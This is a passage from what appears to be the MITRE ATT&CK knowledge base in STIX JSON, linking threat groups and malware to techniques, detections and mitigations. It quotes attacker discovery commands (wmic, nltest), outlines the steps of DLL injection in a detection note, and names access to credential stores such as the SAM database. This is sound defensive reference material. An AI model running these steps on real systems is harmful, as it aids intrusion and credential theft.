"Consider using multi-factor authentication to restrict access to resources and cloud storage APIs.(Citation: Amazon S3 Security, 2019)", "relationship_type": "mitigates", "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", "target_ref": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ee32984e-152b-4792-a722-4150418851f1", "created": "2022-03-30T14:26:51.854Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor access to file resources that contain local accounts and groups information such as <code>/etc/passwd</code>, <code>/Users</code> directories, and the Windows SAM database. \n\nIf access requires high privileges, look for non-admin objects (such as users or processes) attempting to access restricted file resources.", "modified": "2022-04-14T14:04:27.391Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ee337a7e-ceef-4666-9535-c25ac04f4056", "created": "2022-04-28T15:24:40.054Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>, that change account configurations.", "modified": "2022-04-28T15:24:40.054Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee35c721-0b74-4811-8d41-507270d0b9c7", "type": "relationship", "created": "2021-01-08T21:10:43.669Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}], "modified": "2021-01-08T21:10:43.669Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can encrypt C2 communications.(Citation: Red Canary NETWIRE January 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ee3648f7-1066-4a85-9652-2ce54fc7964a", "created": "2023-07-27T20:48:30.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T18:38:18.963Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has logged the keystrokes of victims to escalate privileges.(Citation: Mandiant FIN13 Aug 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ee382a02-cde0-49a8-89e2-26237a25740c", "created": "2020-02-04T13:06:49.703Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Primary Refresh Token", "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.", "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-14T23:02:14.176Z", "description": "When possible, store keys on separate cryptographic hardware instead of on the local system. For example, on Windows systems use a TPM to secure keys and other sensitive credential material.(Citation: Microsoft Primary Refresh Token)", "relationship_type": "mitigates", "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ee38932c-ab04-4ac5-9ca3-d14cc98f5476", "created": "2022-05-26T15:17:44.884Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "DFIR Report APT35 ProxyShell March 2022", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used a tool to run `cmd /c wmic computersystem get domain` for discovery.(Citation: DFIR Report APT35 ProxyShell March 2022)", "modified": "2022-06-02T19:50:45.611Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee448e12-4b71-4c0c-bcca-daff26072d41", "type": "relationship", "created": "2019-03-11T17:18:27.567Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:46:59.519Z", "description": "[Empire](https://attack.mitre.org/software/S0363) uses a command-line interface to interact with systems.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee466042-fd08-4c86-898d-63fc5d4ed1d6", "type": "relationship", "created": "2021-06-30T16:13:40.660Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}], "modified": "2021-06-30T16:13:40.660Z", "description": "[Chaes](https://attack.mitre.org/software/S0631) has collected system information, including the machine name and OS version.(Citation: Cybereason Chaes Nov 2020)", "relationship_type": "uses", "source_ref": "malware--77e0ecf7-ca91-4c06-8012-8e728986a87a", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee46b157-d368-42e4-98f6-b76f6e65c9bd", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"}, {"source_name": "Bitdefender FIN8 July 2021", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", "description": "Martin Zugec. (2021, July 27). Deep Dive Into a FIN8 Attack - A Forensic Investigation. Retrieved September 1, 2021."}], "modified": "2021-10-07T12:44:28.131Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used [dsquery](https://attack.mitre.org/software/S0105) and other Active Directory utilities to enumerate hosts; they have also used <code>nltest.exe /dclist</code> to retrieve a list of domain controllers.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Bitdefender FIN8 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ee4701f6-e4a5-41c8-ab72-118aead20a76", "created": "2020-10-30T20:09:23.032Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}, {"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}, {"source_name": "VirusBulletin Kimsuky October 2019", "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."}, {"source_name": "ThreatConnect Kimsuky September 2020", "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Visual Basic to download malicious payloads.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: Crowdstrike GTR2020 Mar 2020)(Citation: Talos Kimsuky Nov 2021) [Kimsuky](https://attack.mitre.org/groups/G0094) has also used malicious VBA macros within maldocs disguised as forms that trigger when a victim types any content into the lure.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-19T01:21:34.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee47ad7d-0c85-46fb-a4f7-047fdff09a03", "type": "relationship", "created": "2020-05-18T19:37:52.336Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."}], "modified": "2020-05-18T19:37:52.336Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used useless code blocks to counter analysis.(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee4d1b24-603f-40df-8f21-3c053fba275f", "type": "relationship", "created": "2019-07-22T15:35:24.363Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}], "modified": "2019-07-22T15:49:29.090Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used dumped hashes to authenticate to other machines via pass the hash.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee4e5ea3-3d81-42ab-b259-9970f1f7d736", "type": "relationship", "created": "2020-08-24T14:27:37.431Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."}], "modified": "2020-09-22T14:02:02.320Z", "description": "[PipeMon](https://attack.mitre.org/software/S0501) modules are stored on disk with seemingly benign names including use of a file extension associated with a popular word processor.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee500581-0b91-42ab-bc1f-0a10a3af47c4", "type": "relationship", "created": "2021-01-14T19:48:09.355Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ef2cc201-0b82-41a9-98fd-1eda4fb79b39", "created": "2023-03-17T13:52:45.526Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. 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Retrieved June 17, 2019."}], "modified": "2019-06-30T22:44:28.370Z", "description": "(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: CitizenLab Tropic Trooper Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Charming Kitten Dec 2017", "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. 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Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.", "modified": "2022-04-20T00:41:26.009Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef407819-f7e3-477c-8586-42ba108e5786", "type": "relationship", "created": "2020-09-30T14:52:08.973Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA WellMess July 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b", "description": "CISA. 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Retrieved September 24, 2020."}], "modified": "2020-09-30T14:52:08.973Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can use junk data in the Base64 string for additional obfuscation.(Citation: CISA WellMess July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ef41cf60-c60d-4c1f-aa2c-ee9cc73641f4", "created": "2021-11-29T18:59:22.143Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Trend Micro Iron Tiger April 2021", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SysUpdate](https://attack.mitre.org/software/S0663) can use WMI for execution on a compromised host.(Citation: Trend Micro Iron Tiger April 2021)", "modified": "2022-04-15T15:05:38.402Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef463100-ac00-44ab-805b-75e4c8886699", "type": "relationship", "created": "2021-01-25T13:58:25.241Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Dtrack", "url": "https://securelist.com/my-name-is-dtrack/93338/", "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}, {"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021."}], "modified": "2021-03-12T21:10:52.969Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567)\u2019s can download and upload a file to the victim\u2019s computer.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef47c8b8-45ef-415c-8f1d-8421b0add257", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ef48b966-327f-4795-a1d0-4baf949fad2f", "created": "2024-03-24T19:43:18.719Z", "revoked": false, "external_references": [{"source_name": "Cider Security Top 10 CICD Security Risks", "description": "Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024.", "url": "https://www.cidersecurity.io/top-10-cicd-security-risks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-24T19:43:18.719Z", "description": "Application developers should be cautious when selecting third-party libraries to integrate into their application. Additionally, where possible, developers should lock software dependencies to specific versions rather than pulling the latest version on build.(Citation: Cider Security Top 10 CICD Security Risks)", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef5479d8-f8f3-4754-989e-9930a245899c", "type": "relationship", "created": "2020-11-17T20:53:33.488Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-17T20:53:33.488Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can infect victims by brute forcing SMB.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ef647214-5ced-4457-9f80-3f6c5293da6a", "created": "2022-03-30T14:26:51.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Elastic Process Injection July 2017", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:34:20.750Z", "description": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nSearch for remote thread creations that start at LoadLibraryA or LoadLibraryW. Depending on the tool, it may provide additional information about the DLL string that is an argument to the function. If there is any security software that legitimately injects DLLs, it must be carefully whitelisted.\n\nMicrosoft Windows allows for processes to remotely create threads within other processes of the same privilege level. This functionality is provided via the Windows API\u00a0CreateRemoteThread. Both Windows and third-party software use this ability for legitimate purposes. For example, the Windows process\u00a0csrss.exe\u00a0creates threads in programs to send signals to registered callback routines. Both adversaries and host-based security software use this functionality to\u00a0inject DLLs, but for very different purposes. An adversary is likely to inject into a program to\u00a0evade defenses\u00a0or\u00a0bypass User Account Control, but a security program might do this to gain increased monitoring of API calls. One of the most common methods of\u00a0DLL Injection\u00a0is through the Windows API\u00a0LoadLibrary.\n\n- Allocate memory in the target program with\u00a0VirtualAllocEx\n- Write the name of the DLL to inject into this program with\u00a0WriteProcessMemory\n- Create a new thread and set its entry point to\u00a0LoadLibrary\u00a0using the API\u00a0CreateRemoteThread.\n\nThis behavior can be detected by looking for thread creations across processes, and resolving the entry point to determine the function name. If the function is\u00a0LoadLibraryA\u00a0or\u00a0LoadLibraryW, then the intent of the remote thread is clearly to inject a DLL. When this is the case, the source process must be examined so that it can be ignored when it is both expected and a trusted process.\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ef651fd2-97e7-4471-a609-41f46003cf11", "created": "2023-05-18T18:14:37.457Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-05-18T18:14:37.457Z", "description": "[KOPILUWAK](https://attack.mitre.org/software/S1075) has piped the results from executed C2 commands to `%TEMP%\\result2.dat` on the local machine.(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ef699184-4191-4fc0-8525-6fa1dcfc61d7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "source_name": "FireEye Periscope March 2018"}], 